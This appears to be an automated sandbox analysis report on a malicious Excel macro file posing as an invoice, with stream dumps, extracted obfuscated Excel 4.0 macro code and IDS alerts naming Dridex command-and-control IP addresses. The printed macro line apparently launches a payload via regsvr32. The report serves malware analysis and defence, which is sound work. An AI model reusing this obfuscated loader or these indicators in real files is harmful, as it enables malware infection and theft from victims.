Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . w q . . . . . . . . . . . . . . . . n i m o . . . . . . . . . . . . . . . . y e l ^ . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 11 00 00 00 00 00 00 00 00 00 03 00 02 00 00 00 00 00 00 08 02 00 00 00 00 00

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 363

General
Stream Path:	VBA/__SRP_2
File Type:	data
Stream Size:	363
Entropy:	2.21122978445
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 398

General
Stream Path:	VBA/__SRP_3
File Type:	data
Stream Size:	398
Entropy:	2.07709195049
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . q . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00 00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: VBA/dir, File Type: data, Stream Size: 820

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	820
Entropy:	6.49145935167
Base64 Encoded:	True
Data ASCII:	. 0 . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . . a . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:	01 30 b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 09 a2 eb 61 05 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Macro 4.0 Code

CALL(wegb&o0, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r"&w00&"gsvr"&o0, " -s "&bb&ab&ba, 0, 0)

"=CALL(wegb&o0,""S""&ohgdfww&""A"",i0&i0&""CCCC""&i0,0,v0&""p""&w00&""n"",""r""&w00&""gsvr""&o0,"" -s ""&bb&ab&ba,0,0)"=RETURN()

OLE File "/opt/package/joesandbox/database/analysis/338240/sample/INV8073565781-20210111319595.xlsm"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Summary
Author:
Last Saved By:
Create Time:	2020-12-07T14:38:21Z
Last Saved Time:	2021-01-11T14:32:26Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 115

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	115
Entropy:	4.80096587863
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . p . . F z ? . . . . . . . a . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . F o r m s . M u l t i P a g e . 1 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 70 13 e3 46 7a 3f ce 11 be d6 00 aa 00 61 10 80 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 12 00 00 00 46 6f 72 6d 73 2e 4d 75 6c 74 69 50 61 67 65 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: f, File Type: data, Stream Size: 178

General
Stream Path:	f
File Type:	data
Stream Size:	178
Entropy:	2.56223021678
Base64 Encoded:	False
Data ASCII:	. . $ . H . . . . . . . . @ . . . . . . . } . . . . . . . . . . . . . . . . . . . . . . . . t . . . . . . . . . . . . . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . . . . . # . . . . . . . P a g e 1 . . . . . . . . . . . . . $ . . . . . . . . . . . . . ! . . . . . . . P a g e 2 . . . 5 . . . . . . . . . . . . . . . T . . .
Data Raw:	00 04 24 00 48 0c 00 0c 03 00 00 00 04 40 00 00 04 00 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 74 00 00 00 00 83 01 00 00 00 1c 00 f4 01 00 00 01 00 00 00 32 00 00 00 98 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 24 00 d5 01 00 00 05 00 00 80 02 00 00 00 23 00 04 00 01 00 07 00 50 61 67 65 31 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: i02/\x1CompObj, File Type: data, Stream Size: 110

General
Stream Path:	i02/\x1CompObj
File Type:	data
Stream Size:	110
Entropy:	4.63372611993
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . i * . . . . . . . . . . W J O . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . F o r m s . F o r m . 1 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff f0 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: i02/f, File Type: data, Stream Size: 40

General
Stream Path:	i02/f
File Type:	data
Stream Size:	40
Entropy:	1.54176014818
Base64 Encoded:	False
Data ASCII:	. . . . @ . . . . . . . . } . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	00 04 1c 00 40 0c 00 08 04 80 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: i02/o, File Type: empty, Stream Size: 0

General
Stream Path:	i02/o
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Stream Path: i03/\x1CompObj, File Type: data, Stream Size: 110

General
Stream Path:	i03/\x1CompObj
File Type:	data
Stream Size:	110
Entropy:	4.63372611993
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . i * . . . . . . . . . . W J O . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . F o r m s . F o r m . 1 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff f0 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: i03/f, File Type: data, Stream Size: 40

General
Stream Path:	i03/f
File Type:	data
Stream Size:	40
Entropy:	1.90677964945
Base64 Encoded:	False
Data ASCII:	. . . . @ . . . . . . . . } . . n . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	00 04 1c 00 40 0c 00 08 04 80 00 00 00 7d 00 00 6e 13 00 00 fd 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: i03/o, File Type: empty, Stream Size: 0

General
Stream Path:	i03/o
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Stream Path: o, File Type: data, Stream Size: 152

General
Stream Path:	o
File Type:	data
Stream Size:	152
Entropy:	2.68720470607
Base64 Encoded:	False
Data ASCII:	. . p . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P a g e 1 . . . . . . . P a g e 2 . . . . . . . . . . . . . . . T a b 3 . . . . T a b 4 . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . C a l i b r i . . . . . . . . .
Data Raw:	00 02 70 00 31 82 fa 00 00 00 00 00 18 00 00 00 02 00 00 00 08 00 00 00 10 00 00 00 04 00 00 00 08 00 00 00 02 00 00 00 08 00 00 00 84 00 00 00 84 00 00 00 05 00 00 80 50 61 67 65 31 00 00 00 05 00 00 80 50 61 67 65 32 00 00 00 00 00 00 00 00 00 00 00 04 00 00 80 54 61 62 33 04 00 00 80 54 61 62 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 18 00 35 00 00 00 07 00 00 80

Stream Path: x, File Type: data, Stream Size: 48

General
Stream Path:	x
File Type:	data
Stream Size:	48
Entropy:	1.42267983198
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 0c 00 06 00 00 00 02 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00

Macro 4.0 Code

CALL(wegb&o0, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r"&w00&"gsvr"&o0, " -s "&bb&ab&ba, 0, 0)

"=CALL(wegb&o0,""S""&ohgdfww&""A"",i0&i0&""CCCC""&i0,0,v0&""p""&w00&""n"",""r""&w00&""gsvr""&o0,"" -s ""&bb&ab&ba,0,0)"=RETURN()

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/11/21-20:47:41.098543	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49166	77.220.64.37	192.168.2.22
01/11/21-20:47:43.841294	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49168	80.86.91.27	192.168.2.22
01/11/21-20:47:44.417159	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49169	5.100.228.233	192.168.2.22
01/11/21-20:47:44.417159	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49169	5.100.228.233	192.168.2.22
01/11/21-20:47:45.534218	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49171	77.220.64.37	192.168.2.22
01/11/21-20:47:46.052796	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49172	80.86.91.27	192.168.2.22
01/11/21-20:47:46.620576	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49173	5.100.228.233	192.168.2.22
01/11/21-20:47:46.620576	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49173	5.100.228.233	192.168.2.22
01/11/21-20:47:47.673510	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49175	77.220.64.37	192.168.2.22
01/11/21-20:47:48.188446	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49176	80.86.91.27	192.168.2.22
01/11/21-20:47:48.702464	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49177	5.100.228.233	192.168.2.22
01/11/21-20:47:48.702464	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49177	5.100.228.233	192.168.2.22
01/11/21-20:47:49.762134	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49179	77.220.64.37	192.168.2.22
01/11/21-20:47:50.290166	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49180	80.86.91.27	192.168.2.22
01/11/21-20:47:50.819433	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49181	5.100.228.233	192.168.2.22
01/11/21-20:47:50.819433	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49181	5.100.228.233	192.168.2.22
01/11/21-20:47:51.899759	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49183	77.220.64.37	192.168.2.22
01/11/21-20:47:52.422991	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49184	80.86.91.27	192.168.2.22
01/11/21-20:47:52.940965	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49185	5.100.228.233	192.168.2.22
01/11/21-20:47:52.940965	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49185	5.100.228.233	192.168.2.22
01/11/21-20:47:53.972881	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49187	77.220.64.37	192.168.2.22
01/11/21-20:47:54.502255	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49188	80.86.91.27	192.168.2.22
01/11/21-20:47:55.029925	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49189	5.100.228.233	192.168.2.22
01/11/21-20:47:55.029925	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49189	5.100.228.233	192.168.2.22
01/11/21-20:47:56.048129	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49191	77.220.64.37	192.168.2.22
01/11/21-20:47:56.574966	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49192	80.86.91.27	192.168.2.22
01/11/21-20:47:57.089881	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49193	5.100.228.233	192.168.2.22
01/11/21-20:47:57.089881	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49193	5.100.228.233	192.168.2.22
01/11/21-20:47:58.141265	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49195	77.220.64.37	192.168.2.22
01/11/21-20:47:58.663541	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49196	80.86.91.27	192.168.2.22
01/11/21-20:47:59.236713	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49197	5.100.228.233	192.168.2.22
01/11/21-20:47:59.236713	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49197	5.100.228.233	192.168.2.22
01/11/21-20:48:01.461744	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49199	77.220.64.37	192.168.2.22
01/11/21-20:48:01.990394	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49200	80.86.91.27	192.168.2.22
01/11/21-20:48:02.572459	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49201	5.100.228.233	192.168.2.22
01/11/21-20:48:02.572459	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49201	5.100.228.233	192.168.2.22
01/11/21-20:48:03.625437	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49203	77.220.64.37	192.168.2.22
01/11/21-20:48:04.154356	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49204	80.86.91.27	192.168.2.22
01/11/21-20:48:04.694273	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49205	5.100.228.233	192.168.2.22
01/11/21-20:48:04.694273	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49205	5.100.228.233	192.168.2.22
01/11/21-20:48:05.735890	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49207	77.220.64.37	192.168.2.22
01/11/21-20:48:06.250458	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49208	80.86.91.27	192.168.2.22
01/11/21-20:48:06.773073	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49209	5.100.228.233	192.168.2.22
01/11/21-20:48:06.773073	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49209	5.100.228.233	192.168.2.22
01/11/21-20:48:07.828961	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49211	77.220.64.37	192.168.2.22
01/11/21-20:48:08.351383	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49212	80.86.91.27	192.168.2.22
01/11/21-20:48:08.864837	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49213	5.100.228.233	192.168.2.22
01/11/21-20:48:08.864837	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49213	5.100.228.233	192.168.2.22
01/11/21-20:48:09.938128	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49215	77.220.64.37	192.168.2.22
01/11/21-20:48:10.463656	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49216	80.86.91.27	192.168.2.22
01/11/21-20:48:10.973087	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49217	5.100.228.233	192.168.2.22
01/11/21-20:48:10.973087	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49217	5.100.228.233	192.168.2.22
01/11/21-20:48:12.337016	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49219	77.220.64.37	192.168.2.22
01/11/21-20:48:12.856122	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49220	80.86.91.27	192.168.2.22
01/11/21-20:48:13.352687	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49221	5.100.228.233	192.168.2.22
01/11/21-20:48:13.352687	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49221	5.100.228.233	192.168.2.22
01/11/21-20:48:14.395801	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49224	77.220.64.37	192.168.2.22
01/11/21-20:48:14.919524	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49225	80.86.91.27	192.168.2.22
01/11/21-20:48:15.430843	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49227	5.100.228.233	192.168.2.22
01/11/21-20:48:15.430843	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49227	5.100.228.233	192.168.2.22
01/11/21-20:48:17.015165	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49229	77.220.64.37	192.168.2.22
01/11/21-20:48:17.530500	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49230	80.86.91.27	192.168.2.22
01/11/21-20:48:19.036961	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49231	5.100.228.233	192.168.2.22
01/11/21-20:48:19.036961	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49231	5.100.228.233	192.168.2.22
01/11/21-20:48:20.087624	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49233	77.220.64.37	192.168.2.22
01/11/21-20:48:20.629875	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49234	80.86.91.27	192.168.2.22
01/11/21-20:48:21.160457	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49235	5.100.228.233	192.168.2.22
01/11/21-20:48:21.160457	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49235	5.100.228.233	192.168.2.22
01/11/21-20:48:22.192376	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49237	77.220.64.37	192.168.2.22
01/11/21-20:48:22.717566	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49238	80.86.91.27	192.168.2.22
01/11/21-20:48:23.234296	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49239	5.100.228.233	192.168.2.22
01/11/21-20:48:23.234296	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49239	5.100.228.233	192.168.2.22
01/11/21-20:48:24.263045	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49241	77.220.64.37	192.168.2.22
01/11/21-20:48:24.796829	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49242	80.86.91.27	192.168.2.22
01/11/21-20:48:25.335003	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49243	5.100.228.233	192.168.2.22
01/11/21-20:48:25.335003	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49243	5.100.228.233	192.168.2.22
01/11/21-20:48:26.370615	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49245	77.220.64.37	192.168.2.22
01/11/21-20:48:26.884548	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49246	80.86.91.27	192.168.2.22
01/11/21-20:48:27.420708	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49247	5.100.228.233	192.168.2.22
01/11/21-20:48:27.420708	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49247	5.100.228.233	192.168.2.22
01/11/21-20:48:28.459826	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49249	77.220.64.37	192.168.2.22
01/11/21-20:48:29.000097	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49250	80.86.91.27	192.168.2.22
01/11/21-20:48:29.527147	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49251	5.100.228.233	192.168.2.22
01/11/21-20:48:29.527147	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49251	5.100.228.233	192.168.2.22
01/11/21-20:48:30.625606	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49253	77.220.64.37	192.168.2.22
01/11/21-20:48:31.146087	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49254	80.86.91.27	192.168.2.22
01/11/21-20:48:31.662791	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49255	5.100.228.233	192.168.2.22
01/11/21-20:48:31.662791	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49255	5.100.228.233	192.168.2.22
01/11/21-20:48:32.715358	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49257	77.220.64.37	192.168.2.22
01/11/21-20:48:33.228364	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49258	80.86.91.27	192.168.2.22
01/11/21-20:48:33.749819	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49259	5.100.228.233	192.168.2.22
01/11/21-20:48:33.749819	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49259	5.100.228.233	192.168.2.22
01/11/21-20:48:34.991721	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49261	77.220.64.37	192.168.2.22
01/11/21-20:48:35.880142	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49262	80.86.91.27	192.168.2.22
01/11/21-20:48:36.405856	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49263	5.100.228.233	192.168.2.22
01/11/21-20:48:36.405856	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49263	5.100.228.233	192.168.2.22
